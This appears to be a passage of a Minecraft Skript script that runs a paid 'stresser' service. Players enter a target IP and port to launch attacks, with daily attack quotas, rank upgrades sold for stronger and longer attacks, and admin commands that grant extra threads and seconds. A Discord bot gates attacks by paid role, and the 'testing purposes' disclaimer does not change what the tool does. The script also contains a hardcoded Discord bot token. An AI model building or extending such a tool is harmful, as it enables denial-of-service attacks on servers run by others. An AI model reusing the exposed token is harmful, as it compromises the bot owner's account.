us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable add 1 to {_c} set {_timer} to 5 set {_c} to 0 while {_timer} is not 0: if {_timer} is 5: format slot {_c} of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}+1 of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+2)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable if {_timer} is 4: format slot {_c}-1 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c})*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}-2 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c}-1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c} of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}+1 of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+2)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable if {_timer} is 3: format slot {_c}-1 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c})*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}-2 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c}-1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c} of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}+1 of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+2)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable if {_timer} is 2: format slot {_c}-1 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c})*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}-2 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c}-1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c} of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}+1 of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+2)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable if {_timer} is 1: format slot {_c}-1 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c})*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c}-2 of {_p} with light green glass named "&3&l&nAD&r &7(%({_c}-1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable format slot {_c} of {_p} with yellow glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS" to be unstealable add 2 to {_c} if "%inventory name of current inventory of {_p}%" is not "&4&lADS": stop wait 1 second if "%inventory name of current inventory of {_p}%" is not "&4&lADS": stop remove 1 from {_timer} set {_c} to 0 loop 9 times: format slot {_c} of {_p} with light green glass named "&3&l&nAD&r &7(100%%)" with lore "&b&lThanks for using us!||||&c&lConsider upgrading you rank because:||&e- &3You'll have more attacks per day||&e- &3You'll &2&n&lsupport us&r||&e- &3You'll have a &c&l&nstronger&r&3 attack power||&e- &3Your attacks can last &c&nlonger||&e- &3You won't have &4&nADS||||||&2&lClick to go to the attack panel." to run [menu({_p}, "%{_ip}%", {_puerto},0)] add 1 to {_c} function admingui(p: player): open chest with 1 rows named "&4[ADMIN GUI]" to {_p} wait 1 tick while "%inventory name of current inventory of {_p}%" is "&4[ADMIN GUI]": set {_c} to 0 loop {concurrentattacks::*}: format slot {_c} of {_p} with {_c}+1 of paper named "&cAtaque &4##%loop-value%" with lore "&3A IP: %{attackip::%loop-value%}%||&3Autor: %{attackowner::%loop-value%}%||&3Threads: %{attackthreads::%loop-value%}%||&3Segundos: %{attacktsecs::%loop-value%}% segundos||&3Version MC: %{attackproto::%loop-value%}%||&3Restante: %difference between now and {attackend::%loop-value%}%" to be unstealable add 1 to {_c} loop 8 times: if {_c} is less than 5: format slot {_c} of {_p} with barrier named "&cNo hay ataque ##%{_c}+1%/5" to be unstealable add 1 to {_c} else: if {_c} is less than 9: format slot {_c} of {_p} with red glass named " " to be unstealable add 1 to {_c} set {_cuentaatras} to 5 while {_cuentaatras} is not less than 0.1: format slot 8 of {_p} with {_cuentaatras} of clock named "&bRecargando en %{_cuentaatras}% segundos" to be unstealable remove 1 from {_cuentaatras} if "%inventory name of current inventory of {_p}%" is not "&4[ADMIN GUI]": stop wait 1 second if "%inventory name of current inventory of {_p}%" is not "&4[ADMIN GUI]": stop command /buy []: trigger: send "&cThe command is in W.I.P." to the player wait 10 tick send "&aIf you &9&nreally&r &awant to buy a plan or extra seconds/threads contact us in discord" to the player send "&9https://discord.gg/kPy92fu" to the player command /stresstest [] [] [] [] []: trigger: if arg 1 is not set: send "&cYou need to specify an &nIP address&r&c to test our attack." to the player send "&cPlease use &6/stresstest IP:PORT&c (port not required if it's 25565)" to the player send "&cYou can also use &6/stresstest remaining &cto see your &c&nremaining&r &cattacks." to the player stop if arg 1 is "remaining": send "&eAttacks remaining: &4&l%{stress_ataques_restantes::%player%}%" to the player stop if arg 1 is "admin": if player have permission "stresstest.admin" or "stresstest.dev": if arg 2 is not set: send "&e- &b/stresstest admin gui &7&o(mira los ataques actuales)" to the player send "&e- &b/stresstest admin update &7&o(verifica si hay actualizaciones)" to the player send "&e- &b/stresstest admin giveattacks &7&o(-XXX para quitar ataques)" to the player send "&e- &b/stresstest admin resetcooldown &7&o(Usado para renovar un plan al instante, debe salir y entrar)" to the player send "&e- &b/stresstest admin giveseconds &7&o(Usado para dar segundos adicionales a cualquier usuario sin importar su plan)" to the player send "&e- &b/stresstest admin givethreads &7&o(Usado para dar threads adicionales a cualquier usuario sin importar su plan)" to the player if arg 2 is "htop": htop(player) stop if arg 2 is "givethreads": if arg 3 is set: if arg 4 is set: set {_jug} to "%arg 3%" parsed as a player set {_threads} to "%arg 4%" parsed as a number if {_threads} is between -99999999999 and 99999999999: if {extrauserthreads::%{_jug}%} is set: send "&bCantidad de &csegundos adicionales&b antes de ejecutar el comando del jugador&e %arg 3%&b: &c%{extrauserthreads::%{_jug}%}%" to the player else: send "&bCantidad de &csegundos adicionales&b antes de ejecutar el comando del jugador&e %arg 3%&b: &cnada" to the player add {_threads} to {extrauserthreads::%{_jug}%} if {extrauserthreads::%{_jug}%} is less than 1: delete {extrauserthreads::%{_jug}%} if {extrauserthreads::%{_jug}%} is set: send "&bCantidad actual: &a%{extrauserthreads::%{_jug}%}%" to the player else: send "&b&lCantidad actual: &anada" to the player if {_jug} is online: send "&aYour current extra threads has been modifyed by an administrator." to {_jug} else: send "&cLa cantidad de segundos parece un numero no valido." to the player else: send "&cEspecifica una cantidad de ataques a entregar. La cantidad puede ser negativa." to the player else: send "&cEspecifica un jugador." to the player if arg 2 is "giveseconds": if arg 3 is set: if arg 4 is set: set {_jug} to "%arg 3%" parsed as a player set {_secs} to "%arg 4%" parsed as a number if {_secs} is between -99999999999 and 99999999999: if {extrausersecs::%{_jug}%} is set: send "&bCantidad de &csegundos adicionales&b antes de ejecutar el comando del jugador&e %arg 3%&b: &c%{extrausersecs::%{_jug}%}%" to the player else: send "&bCantidad de &csegundos adicionales&b antes de ejecutar el comando del jugador&e %arg 3%&b: &cnada" to the player add {_secs} to {extrausersecs::%{_jug}%} if {extrausersecs::%{_jug}%} is less than 1: delete {extrausersecs::%{_jug}%} if {extrausersecs::%{_jug}%} is set: send "&bCantidad actual: &a%{extrausersecs::%{_jug}%}%" to the player else: send "&b&lCantidad actual: &anada" to the player if {_jug} is online: send "&aYour current extra seconds has been modifyed by an administrator." to {_jug} else: send "&cLa cantidad de segundos parece un numero no valido." to the player else: send "&cEspecifica una cantidad de ataques a entregar. La cantidad puede ser negativa." to the player else: send "&cEspecifica un jugador." to the player if arg 2 is "gui": admingui(player) stop if arg 2 is "update": send "&aSe ha enviado la orden de actualizar a la consola" to the player softreload() stop if arg 2 is "giveattacks": if arg 3 is set: if arg 4 is set: set {_jug} to "%arg 3%" parsed as a player set {_attack} to "%arg 4%" parsed as a number if {_attack} is between -999999999 and 999999999: send "&bCantidad de &cataques&b antes de ejecutar el comando del jugador&e %arg 3%&b: &c%{stress_ataques_restantes::%{_jug}%}%" to the player add {_attack} to {stress_ataques_restantes::%{_jug}%} if {stress_ataques_restantes::%{_jug}%} is less than 0: set {stress_ataques_restantes::%{_jug}%} to 0 send "&bCantidad actual: &a%{stress_ataques_restantes::%{_jug}%}%" else: send "&cLa cantidad de ataques parece un numero no valido." to the player else: send "&cEspecifica una cantidad de ataques a entregar. La cantidad puede ser negativa." to the player else: send "&cEspecifica un jugador." to the player if arg 2 is "resetcooldown": if arg 3 is set: remove 25 hours from {stresser_primer_ataque::%arg 3%} send "&2Aplicado. Cuando el jugador %arg 3% vuelva a entrar su plan será renovado" to the player else: send "&cEspecifica un jugador." to the player stop if arg 1 is "ip": send "&cYou &nmust&r &cspecify a alphabetical or numerical &6IP&c address." to the player stop if arg 1 contains ".": set {_args::*} to arg 1 split at ":" set {_ip} to "%{_args::1}%" set {_puerto} to "%{_args::2}%" parsed as a number if {_puerto} is not between 1 and 65535: set {_puerto} to 25565 if {_puerto} is not set: set {_puerto} to 25565 if {playerisattacking::%player%} is set: if now is more than {playerisattacking::%player%}: delete {playerisattacking::%player%} else: send "&cYou have an &nattack&r&c running! We limit &41&c attack per user. Your attack will &dend in&e %difference between now and {playerisattacking::%player%}%" to the player stop if {stress_ataques_restantes::%player%} is more than 0: if player have permission "stress.noad": menu(player, "%{_ip}%", {_puerto},0) else: ad(player, "%{_ip}%", {_puerto}) else: send "&cYou don't have more attacks today!" to the player send "&cIf you want more attacks contact us on &bDiscord&c here &9https://discord.gg/kPy92fu" to the player if {stresser_primer_ataque::%player%} is set: # set {_restante} to {stresser_primer_ataque::%player%} add 24 hour to {_restante} send " " to the player if now is more than {_restante}: send "&cIt looks like your plan can be renewed, please rejoin to apply!" to the player else: send "&cFor the &6next attacks&c you need to wait %difference between now and {_restante}%" to the player else: send "&cHmmm, this doesn't look like a &nvalid&r&c IP address. You can use &nnumeric&r&c or &nalphabetical&r&c IPs address." to the player command /tutorial [] []: trigger: if arg 1 is set: if player is op: if arg 1 is "spawn": set {svspawn} to player's location send "&aSpawn establecido" to the player stop set {_n} to "%arg 1%" parsed as a number if {_n} is between 1 and {tuto_tot}+1: if {tuto_pos::%arg 1%} is not set: add 1 to {tuto_tot} set {tuto_pos::%arg 1%} to player's location send "Posicion %arg 1% agregada/editada" to the player stop else: send "&cEl siguiente spawn deberia ser el %{tuto_tot}+1%" to the player stop else: execute player command "/tutorial" stop if arg 1 is "primeravez": if {tuto_ini::%player%} is not set: set {tuto_ini::%player%} to 1 loop {tuto_tot} times: add 8 second to {_pot} apply invisibility to the player for {_pot} loop {tuto_tot} times: teleport the player to {tuto_pos::%{tuto_ini::%player%}%} send "&2[TUTORIAL] How to send an attack (%{tuto_ini::%player%}%/%{tuto_tot}%)" to the player wait 8 seconds add 1 to {tuto_ini::%player%} send "&2[TUTORIAL] How to send an attack (ENDED, repeat with /tutorial)" to the player teleport the player to {svspawn} delete {tuto_ini::%player%} if arg 1 is not set: if {tuto_ini::%player%} is not set: set {tuto_ini::%player%} to 1 set player's slot 7 to a magma cream named "&bPrevious" set player's slot 8 to a slime named "&bNext" send "&2[TUTORIAL] Items to go back and forward received in your inventory at slot 8 & 9" to the player apply invisibility to the player for 1 day send "&2[TUTORIAL] How to send an attack (1/%{tuto_tot}%)" to the player teleport the player to {tuto_pos::1} on right click: if player's held item is a slime named "&bNext": if {tuto_ini::%player%} is {tuto_tot}: send "&cExiting tutorial..." to the player remove invisibility from player teleport the player to {svspawn} remove 1 magma cream from the player remove 1 slime from the player delete {tuto_ini::%player%} else: add 1 to {tuto_ini::%player%} teleport the player to {tuto_pos::%{tuto_ini::%player%}%} send "&2[TUTORIAL] How to send an attack (%{tuto_ini::%player%}%/%{tuto_tot}%)" to the player if player's held item is a magma cream named "&bPrevious": if {tuto_ini::%player%} is 1: send "&cExiting tutorial..." to the player remove 1 magma cream from the player remove 1 slime from the player remove invisibility from player teleport the player to {svspawn} delete {tuto_ini::%player%} else: remove 1 from {tuto_ini::%player%} teleport the player to {tuto_pos::%{tuto_ini::%player%}%} send "&2[TUTORIAL] How to send an attack (%{tuto_ini::%player%}%/%{tuto_tot}%)" to the player on inventory click: if {tuto_ini::%player%} is set: cancel event on guild message receive seen by "StressBot": if "%event-channel%" is "465201280558563328": if event-string contains "clear": if user event-user has role "↻ Bots ↻" or in "427620064456605698": set {_msg} to "%event-string%" replace all "clear" with "" in {_msg} replace all " " with "" in {_msg} set {_times} to "%{_msg}%" parsed as a number if {_times} is not between 1 and 100: send message "Usage: clear " to channel "465201280558563328" as "StressBot" stop wait 1 second clear {_times} messages in "465201280558563328" with "StressBot" stop on guild message receive seen by "StressBot": if "%event-channel%" is "465201280558563328": if event-string contains "nclr": stop clear 1 messages in "465201280558563328" with "StressBot" if event-string contains "attack": if user event-user has role "Owner" in "427620064456605698": set {_allowed} to 1 if user event-user has role "↻ Bots ↻" in "427620064456605698": set {_allowed} to 1 if user event-user has role "ꕥ GODLIKE ꕥ" in "427620064456605698": set {_allowed} to 1 if user event-user has role "♚ MASTER ♚" in "427620064456605698": set {_allowed} to 1 if user event-user has role "♛ INSANE ♛" in "427620064456605698": set {_allowed} to 1 if user event-user has role "✯ TESTER++ ✯" in "427620064456605698": set {_allowed} to 1 if user event-user has role "✦ TESTER+ ✦" in "427620064456605698": set {_allowed} to 1 if user event-user has role "✧ TESTER ✧" in "427620064456605698": set {_allowed} to 1 if {_allowed} is set: send message "```PERMS: OK```" to channel "465201280558563328" as "StressBot" else: send message "```You can't send attacks from here! Upgrade your rank to use this feature!```" to channel "465201280558563328" as "StressBot" on guild message receive seen by "StressBot": if "%event-channel%" is "465175295830392842": if event-string contains "clear": if user event-user has role "✦ Partner ✦" or "Owner" in "427620064456605698": set {_msg} to "%event-string%" replace all "clear" with "" in {_msg} replace all " " with "" in {_msg} set {_times} to "%{_msg}%" parsed as a number if {_times} is not between 1 and 100: send message "Usage: clear " to channel "465175295830392842" as "StressBot" stop wait 1 second clear {_times} messages in "465175295830392842" with "StressBot" stop if event-string contains "who is" or "whois": wait 10 tick clear 1 messages in "465175295830392842" with "StressBot" wait 10 tick #set {_rol} to "%role of user event-user in guild ""427620064456605698""%" #send message "%mention tag of id of event-user%```I get this: %event-string% (%{_rol}%),[%roles in guild ""427620064456605698""%]```" to channel "465175295830392842" as "StressBot" set {_msg} to "%event-string%" replace all "who is @" with "" in {_msg} replace all "whois @" with "" in {_msg} if "%{_msg}%" is "who is" or "" or "whois": reply with "%mention tag of id of event-user%```Error: invalid. Use ""Who is @username""```" stop reply with "```Checking user @%{_msg}%...```" wait 15 tick if {discordverifyed_fromgame::%{discordverify_id::%{discordverifyed::%{_msg}%}%}%} is set: send message "%mention tag of id of event-user%```It seems that @%{_msg}% has linked his/her account to MC username: %{discordverifyed_fromgame::%{discordverify_id::%{discordverifyed::%{_msg}%}%}%}%```" to channel "465175295830392842" as "StressBot" else: send message "%mention tag of id of event-user%```It seems that @%{_msg}% doesn't have his account linked.```" to channel "465175295830392842" as "StressBot" stop clear 1 messages in "465175295830392842" with "StressBot" send message "%mention tag of id of event-user%```Invalid command! Check your PM!```" to channel "465175295830392842" as "StressBot" send discord message of "What I can do:```Through the server group: Ask ""who is @mention-user"" to see if his/her have an account linked or not```Through PM (here):```Send ""Verify me"" for more information about how to be verifyed, ask ""I'm verifyed?"" to know your current status or ""unverify me"" to unlink your account```" to user event-user with bot "StressBot" on discord private message sent to "StressBot": if event-string contains "Verifyed?": if {discordverifyed_fromgame::%discord name of event-user%} is set: reply with "```This account is linked to MC user: %{discordverifyed_fromgame::%discord name of event-user%}% (ID: %{discordverify_id::%id of event-user%}%)```" stop else: reply with "```This account is not linked yet```" stop if event-string contains "Unverify me": reply with "```This accounts settings were deleted```" delete {discordverify_id::%id of event-user%} #delete {discordverifyed::%discord name of event-user%} delete {discordverifyed::%{discordverifyed_fromgame::%discord name of event-user%}%} delete {discordverifycode::%{discordverifyed_fromgame::%discord name of event-user%}%} delete {discordverifyed_fromgame::%discord name of event-user%} send message "%mention tag of id of event-user%```User @%discord name of event-user% was unlinked correctly.```" to channel "465175295830392842" as "StressBot" stop if event-string contains "Verify me": reply with "```To verify you I need you to connect to to the server test.botsentry.eu```" reply with "```Once you are in PM me with ""I'm [minecraft-player-username]"" and I will send you a code```" stop if event-string contains "This is my code:": set {_msg} to "%event-string%" replace all "This is my code: " with "" in {_msg} replace all "code: " with "" in {_msg} replace all "This " with "" in {_msg} replace all "is " with "" in {_msg} replace all " for: " with ":" in {_msg} set {_args::*} to {_msg} split at ":" if {discordverifyed_fromgame::%discord name of event-user%} is not set: if {discordverifycode::%{_args::2}%} is set: if "%{_args::1}%" is "%{discordverifycode::%{_args::2}%}%": delete {discordverifycode::%{_args::2}%} set {_p} to "%{_args::2}%" parsed as a player send "&9Succesfully linked to your Discord account!" to {_p} set {discordverifyed::%{_args::2}%} to "%id of event-user%" set {discordverifyed_fromgame::%discord name of event-user%} to "%{_args::2}%" parsed as a player set {discordverify_id::%id of event-user%} to "%discord name of event-user%" send message "%mention tag of id of event-user%```Discord user @%discord name of event-user% is now linked to Minecraft username: %{discordverifyed_fromgame::%discord name of event-user%}%```" to channel "465175295830392842" as "StressBot" send message "```If you want to link and verify your account please send me a PM saying ""Verify me!""```" to channel "465175295830392842" as "StressBot" reply with "```Player: %{discordverifyed_fromgame::%discord name of event-user%}% is now verifyed to this Discord account (%discord name of event-user%,%{discordverifyed::%{_args::2}%}%)```" stop else: reply with "```The code is wrong!```" stop else: reply with "```You must first write who you are or your name is incompleted! (I'm [Minecraft-Username])```" stop else: reply with "```This Discord account is alredy verifyed with MC user: %{discordverifyed_fromgame::%discord name of event-user%}%!```" stop if event-string contains "I'm": set {_m} to "%event-string%" replace all "I'm " with "" in {_m} set {_p} to "%{_m}%" parsed as a player if {_p} is online: if {discordverifyed::%{_p}%} is not set: reply with "```Player %{_p}% has received now a code. Send me a PM saying ""This is my code: XXX-XXX-XXX for: [Minecraft-Username]""```" reply with "```Code will expire in 2 minutes```" set {discordverifycode::%{_p}%} to "%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%-%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%-%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%%ceil(random number between 0 and 9)%" send "&9Your Discord verification code: %{discordverifycode::%{_p}%}%" to {_p} wait 2 minutes if {discordverifycode::%{_p}%} is set: reply with "```Code for user %{_p}% was expired.```" delete {discordverifycode::%{_p}%} stop else: reply with "```Player %{_p}% is alredy verifyed```" stop else: reply with "```Player %{_m}% isn't online!```" stop reply with "Type ""Verify me"" to see what can I do" on skript load: wait 20 seconds login to user with token "NDY0MTU5ODk1MDI2MDA4MDg1.Dh66bQ.3No8cl-SttxnwdtKO0for6Ri1TI" with name "StressBot" wait 2 seconds set game of bot "BotSentry" to "Testing Servers" wait 5 seconds clear 100 messages in "464158418383536138" with "BotSentry" wait 30 seconds clear 100 messages in "464158418383536138" with "BotSentry" wait 30 seconds clear 100 messages in "464158418383536138" with "BotSentry" wait 30 seconds send message "```Connecting Bot to the SQL...```" to channel "464158418383536138" as "StressBot" wait 2 seconds send message "```SQL Connection Reached!```" to channel "464158418383536138" as "StressBot" wait 2 seconds send message "```Remember: Attacks are only allowed for Testing purposes!```" to channel "464158418383536138" as "StressBot"